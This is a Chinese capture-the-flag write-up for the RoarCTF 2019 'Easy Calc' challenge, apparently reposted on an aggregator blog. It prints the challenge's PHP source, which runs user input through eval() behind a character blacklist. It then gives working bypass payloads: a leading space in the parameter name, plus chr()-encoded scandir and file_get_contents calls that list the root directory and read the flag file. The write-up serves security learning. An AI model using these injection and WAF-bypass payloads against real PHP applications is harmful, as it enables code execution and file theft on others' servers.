当前位置: 首页 > article >正文

[RoarCTF 2019]Easy Calc 1

[RoarCTF 2019]Easy Calc 1

审题

image-20240303211144278

题目就是一个计算器。

看到源代码有 calc.php

进入看到waf的源代码

知识点

RCE

解题

  1. 审核代码

    <?php
    error_reporting(0);
    if(!isset($_GET['num'])){
        show_source(__FILE__);
    }else{
            $str = $_GET['num'];
            $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
            foreach ($blacklist as $blackitem) {
                    if (preg_match('/' . $blackitem . '/m', $str)) {
                            die("what are you want to do?");
                    }
            }
            eval('echo '.$str.';');
    }
    ?> 
    
  2. 由于页面中无法上传num,则输入 num,在num前加入一个空格可以让num变得可以上传,而且在进行代码解析时,php会把前面的空格去除。

  3. 由于不能使用很多的字符,可以使用file_get_contents()函数,将ascii码转化为字符来绕过。

  4. 构造。

    ? num=var_dump(scandir(chr(47)))
    

    scandair可以列出指定路径中的文件目录。

  5. 构造

    ? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
    

    得到flag


http://www.kler.cn/a/377391.html

相关文章:

  • kubeneters-循序渐进Cilium网络(二)
  • vs2022开发.net窗体应用开发环境安装配置以及程序发布详细教程
  • 24下半年软考「单独划线」合格标准已公布!
  • eNSP之家----ACL实验入门实例详解(Access Control List访问控制列表)(重要重要重要的事说三遍)
  • 用 Python 绘制可爱的招财猫
  • 【蓝桥杯选拔赛真题60】C++寻宝石 第十四届蓝桥杯青少年创意编程大赛 算法思维 C++编程选拔赛真题解
  • 蓝桥杯介绍
  • GaussDB Ustore存储引擎解读
  • 基于卷积神经网络的柑桔病害识别与防治系统,resnet50,mobilenet模型【pytorch框架+python源码】
  • Qt/C++地图动态绘制折线多边形矩形圆形标注点/可编辑拖动调整大小和位置
  • 【复盘笔记】25国考一期_套题5
  • 5G无线帧基本架构
  • Chromium 中监听browser 添加/删除等事件c++
  • Pnetlab免登录方式
  • 「Mac畅玩鸿蒙与硬件15」鸿蒙UI组件篇5 - Slider 和 Progress 组件
  • 基于BP神经网络的手写体数字图像识别
  • 【MacOS实操】如何基于SSH连接远程linux服务器
  • 【路径——Dijkstra】
  • Decision Tree Regressor (决策树) --- 论文实战
  • Apache Calcite - 查询优化之自定义优化规则
  • 用Python设置、更新和获取Excel单元格的值
  • 智能医疗文档处理:开源OCR系统解析
  • 使用 PyCharm 构建 FastAPI 项目:零基础入门 Web API 开发
  • DDR Study - LPDDR4 TTR/PPR/ECC/PASR/DBI
  • 极简实现酷炫动效:Flutter隐式动画指南第三篇自定义Flutter隐式动画
  • ADRV9009 跳频时间测试